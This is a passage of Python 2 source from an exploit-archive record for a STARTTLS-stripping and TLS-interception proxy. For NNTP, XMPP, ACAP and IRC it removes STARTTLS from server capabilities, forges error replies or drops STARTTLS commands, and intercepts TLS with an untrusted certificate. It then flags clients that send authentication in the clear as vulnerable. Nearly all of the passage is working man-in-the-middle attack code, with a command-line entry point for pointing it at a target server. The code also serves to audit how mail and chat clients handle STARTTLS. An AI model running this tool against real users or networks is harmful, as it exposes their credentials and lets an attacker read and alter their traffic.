mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"382 Continue with TLS negotiation\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"382 Continue with TLS negotiation\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"382\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class XMPP:\r\n _PROTO_ID = 5222\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n start = data.index(\"<starttls\")\r\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\r\n data = data[:start] + data[end:] # strip starttls from capabilities\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n #<failure/> or <proceed/>\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\r\n #data=None\r\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\r\n rewrite.set_result(session, True)\r\n return data \r\n \r\n class StripInboundTLS:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) If starttls is required outbound, leave inbound connection plain - outbound starttls\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n start = data.index(\"<starttls\")\r\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\r\n starttls_args = data[start:end]\r\n data = data[:start] + data[end:] # strip inbound starttls\r\n if \"required\" in starttls_args:\r\n # do outbound starttls as required by server\r\n session.outbound.sendall(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\r\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\r\n resp_data = session.outbound.recv_blocked()\r\n if not resp_data.startswith(\"<proceed \"):\r\n raise ProtocolViolationException(\"whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n #<failure/> or <proceed/>\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\r\n #data=None\r\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls \" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"<proceed \"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"</auth>\" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ACAP:\r\n #rfc2244, rfc2595\r\n _PROTO_ID = 675\r\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw in data for kw in (\"ACAP\",\"STARTTLS\")):\r\n features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses\r\n data = ' '.join(\"(%s)\"%f for f in features if not \"STARTTLS\" in f)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \" AUTHENTICATE \" in data: \r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall('%s BAD \"command unknown or arguments invalid\"'%id) # or 580 Can not initiate TLS negotiation\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr('%s BAD \"command unknown or arguments invalid\"'%id)))\r\n data=None\r\n elif \" AUTHENTICATE \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall('%s OK \"Begin TLS negotiation now\"'%id)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr('%s OK \"Begin TLS negotiation now\"'%id)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not \" OK \" in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \" AUTHENTICATE \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class IRC:\r\n #rfc2244, rfc2595\r\n _PROTO_ID = 6667\r\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\r\n _IDENT_PORT = 113\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw.lower() in data.lower() for kw in (\" cap \",\" tls\")):\r\n mangled = []\r\n for line in data.split(\"\\n\"):\r\n if all(kw.lower() in line.lower() for kw in (\" cap \",\" tls\")):\r\n # can be CAP LS or CAP ACK/NACK\r\n if \" ack \" in data.lower():\r\n line = line.replace(\"ACK\",\"NAK\").replace(\"ack\",\"nak\")\r\n else: #ls\r\n features = line.split(\" \")\r\n line = ' '.join(f for f in features if not 'tls' in f.lower())\r\n mangled.append(line)\r\n data = \"\\n\".join(mangled)\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return \r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #elif all(kw.lower() in data.lower() for kw in (\"cap req\",\"tls\")):\r\n # # mangle CAPABILITY REQUEST\r\n # if \":\" in data:\r\n # cmd, caps = data.split(\":\")\r\n # caps = (c for c in caps.split(\" \") if not \"tls\" in c.lower())\r\n # data=\"%s:%s\"%(cmd,' '.join(caps))\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'STARTTLS'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithNotRegistered:\r\n ''' 1) force server wrong state on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'You have not registered'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripCAPWithNotRegistered:\r\n ''' 1) force server wrong state on client sending CAP LS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"CAP LS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'You have not registered'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithSilentDrop:\r\n ''' 1) silently drop starttls command\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \" ident \" in data.lower():\r\n #TODO: proxy ident\r\n pass\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'STARTTLS'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not \" 670 \" in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n \r\nclass RewriteDispatcher(object):\r\n def __init__(self, generic_tls_intercept=False):\r\n self.vectors = {} # proto:[vectors]\r\n self.results = [] # [ {session,client_ip,mangle,result}, }\r\n self.session_to_mangle = {} # session:mangle\r\n self.generic_tls_intercept = generic_tls_intercept\r\n \r\n def __repr__(self):\r\n return \"<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>\"%(self.generic_tls_intercept, repr(self.vectors))\r\n \r\n def get_results(self):\r\n return self.results\r\n \r\n def get_results_by_clients(self):\r\n results = {} #client:{mangle:result}\r\n for r in self.get_results():\r\n client = r['client']\r\n results.setdefault(client,[])\r\n mangle = r['mangle']\r\n result = r['result']\r\n results[client].append((mangle,result))\r\n return results\r\n \r\n def get_result(self, session):\r\n for r in self.get_results():\r\n if r['session']==session:\r\n return r\r\n return None\r\n \r\n def set_result(self, session, value):\r\n r = self.get_result(session)\r\n r['result'] = value\r\n \r\n def add(self, proto, attack):\r\n self.vectors.setdefault(proto,set([]))\r\n self.vectors[proto].add(attack)\r\n \r\n def get_mangle(self, session):\r\n ''' smart select mangle\r\n return same mangle for same session\r\n return different for different session\r\n try to use all mangles for same client-ip\r\n '''\r\n # 1) session already has a mangle associated to it\r\n mangle = self.session_to_mangle.get(session)\r\n if mangle:\r\n return mangle\r\n # 2) pick new mangle (round-robin) per client\r\n # \r\n client_ip = session.inbound.peer[0]\r\n client_mangle_history = [r for r in self.get_results() if r['client']==client_ip]\r\n \r\n all_mangles = list(self.get_mangles(session.protocol.protocol_id))\r\n if not all_mangles:\r\n return None\r\n new_index = 0\r\n if client_mangle_history:\r\n previous_result = client_mangle_history[-1]\r\n new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles)\r\n mangle = all_mangles[new_index]\r\n \r\n self.results.append({'client':client_ip,\r\n 'session':session,\r\n 'mangle':mangle,\r\n 'result':None}) \r\n \r\n #mangle = iter(self.get_mangles(session.protocol.protocol_id)).next()\r\n logger.debug(\"<RewriteDispatcher - changed mangle: %s new: %s>\"%(mangle,\"False\" if len(client_mangle_history)>len(all_mangles) else \"True\"))\r\n self.session_to_mangle[session] = mangle\r\n return mangle\r\n \r\n def get_mangles(self, proto):\r\n m = self.vectors.get(proto,set([]))\r\n m.update(self.vectors.get(None,[]))\r\n return m\r\n \r\n def mangle_server_data(self, session, data):\r\n data_orig = data\r\n logger.debug(\"%s [client] <= [server] %s\"%(session,repr(data)))\r\n if self.get_mangle(session):\r\n data = self.get_mangle(session).mangle_server_data(session, data, self)\r\n if data!=data_orig:\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(data)))\r\n return data\r\n \r\n def mangle_client_data(self, session, data):\r\n data_orig = data\r\n logger.debug(\"%s [client] => [server] %s\"%(session,repr(data)))\r\n if self.get_mangle(session):\r\n #TODO: just use the first one for now\r\n data = self.get_mangle(session).mangle_client_data(session, data, self)\r\n if data!=data_orig:\r\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\r\n return data\r\n \r\n def on_recv_peek(self, s_in, session):\r\n if self.generic_tls_intercept:\r\n # forced by cmdline-option\r\n return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in)\r\n elif hasattr(self.get_mangle(session), \"on_recv_peek\"):\r\n return self.get_mangle(session).on_recv_peek(session, s_in)\r\n \r\ndef main():\r\n from optparse import OptionParser\r\n ret = 0\r\n usage = \"\"\"usage: %prog [options]\r\n \r\n example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25 \r\n \"\"\"\r\n parser = OptionParser(usage=usage)\r\n parser.add_option(\"-q\", \"--quiet\",\r\n action=\"store_false\", dest=\"verbose\", default=True,\r\n help=\"be quiet [default: %default]\")\r\n parser.add_option(\"-l\", \"--listen\", dest=\"listen\", help=\"listen ip:port [default: 0.0.0.0:<remote_port>]\")\r\n parser.add_option(\"-r\", \"--remote\", dest=\"remote\", help=\"remote target ip:port to forward sessions to\")\r\n parser.add_option(\"-k\", \"--key\", dest=\"key\", default=\"server.pem\", help=\"SSL Certificate and Private key file to use, PEM format assumed [default: %default]\")\r\n parser.add_option(\"-s\", \"--generic-ssl-intercept\",\r\n action=\"store_true\", dest=\"generic_tls_intercept\", default=False,\r\n help=\"dynamically intercept SSL/TLS\")\r\n parser.add_option(\"-b\", \"--bufsiz\", dest=\"buffer_size\", type=\"int\", default=4096)\r\n \r\n all_vectors = []\r\n for proto in (v for v in dir(Vectors) if not v.startswith(\"_\")):\r\n for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith(\"_\")):\r\n all_vectors.append(\"%s.%s\"%(proto,test))\r\n parser.add_option(\"-x\", \"--vectors\",\r\n default=\"ALL\",\r\n help=\"Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: \"+\", \".join(all_vectors)+\"\"\r\n \" [default: %default]\")\r\n # parse args\r\n (options, args) = parser.parse_args()\r\n # normalize args\r\n if not options.verbose:\r\n logger.setLevel(logging.INFO)\r\n if not options.remote:\r\n parser.error(\"mandatory option: remote\")\r\n if \":\" not in options.remote and \":\" in options.listen:\r\n # no port in remote, but there is one in listen. use this one\r\n options.remote = (options.remote.strip(), int(options.listen.strip().split(\":\")[1]))\r\n logger.warning(\"no remote port specified - falling back to %s:%d (listen port)\"%options.remote)\r\n elif \":\" in options.remote:\r\n options.remote = options.remote.strip().split(\":\")\r\n options.remote = (options.remote[0], int(options.remote[1]))\r\n else:\r\n parser.error(\"neither remote nor listen is in the format <host>:<port>\")\r\n if not options.listen:\r\n logger.warning(\"no listen port specified - falling back to 0.0.0.0:%d (remote port)\"%options.remote[1])\r\n options.listen = (\"0.0.0.0\",options.remote[1])\r\n elif \":\" in options.listen:\r\n options.listen = options.listen.strip().split(\":\")\r\n options.listen = (options.listen[0], int(options.listen[1]))\r\n else:\r\n options.listen = (options.listen.strip(), options.remote[1])\r\n logger.warning(\"no listen port specified - falling back to %s:%d (remote port)\"%options.listen)\r\n options.vectors = [o.strip() for o in options.vectors.strip().split(\",\")]\r\n if 'ALL' in (v.upper() for v in options.vectors):\r\n options.vectors = all_vectors\r\n elif 'NONE' in (v.upper() for v in options.vectors):\r\n options.vectors = []\r\n Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key\r\n \r\n # ---- start up engines ----\r\n prx = ProxyServer(listen=options.listen, target=options.remote, \r\n buffer_size=options.buffer_size, delay=0.00001)\r\n logger.info(\"%s ready.\"%prx)\r\n rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept)\r\n \r\n for classname in options.vectors:\r\n try:\r\n proto, vector = classname.split('.',1)\r\n cls_proto = getattr(globals().get(\"Vectors\"),proto)\r\n cls_vector = getattr(cls_proto, vector)\r\n rewrite.add(cls_proto._PROTO_ID, cls_vector)\r\n logger.debug(\"* added vector (port:%-5s, proto:%8s): %s\"%(cls_proto._PROTO_ID, proto, repr(cls_vector)))\r\n except Exception, e:\r\n logger.error(\"* error - failed to add: %s\"%classname)\r\n parser.error(\"invalid vector: %s\"%classname)\r\n \r\n logging.info(repr(rewrite))\r\n prx.set_callback(\"mangle_server_data\", rewrite.mangle_server_data)\r\n prx.set_callback(\"mangle_client_data\", rewrite.mangle_client_data)\r\n prx.set_callback(\"on_recv_peek\", rewrite.on_recv_peek)\r\n try:\r\n prx.main_loop()\r\n except KeyboardInterrupt:\r\n logger.warning( \"Ctrl C - Stopping server\")\r\n ret+=1\r\n \r\n logger.info(\" -- audit results --\")\r\n for client,resultlist in rewrite.get_results_by_clients().iteritems():\r\n logger.info(\"[*] client: %s\"%client)\r\n for mangle, result in resultlist:\r\n logger.info(\" [%-11s] %s\"%(\"Vulnerable!\" if result else \" \",repr(mangle)))\r\n \r\n sys.exit(ret)\r\n \r\nif __name__ == '__main__':\r\n main()\n\n# 0day.today [2018-04-05] #", "sourceHref": "https://0day.today/exploit/29438", "cvss": {"score": 5.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}]}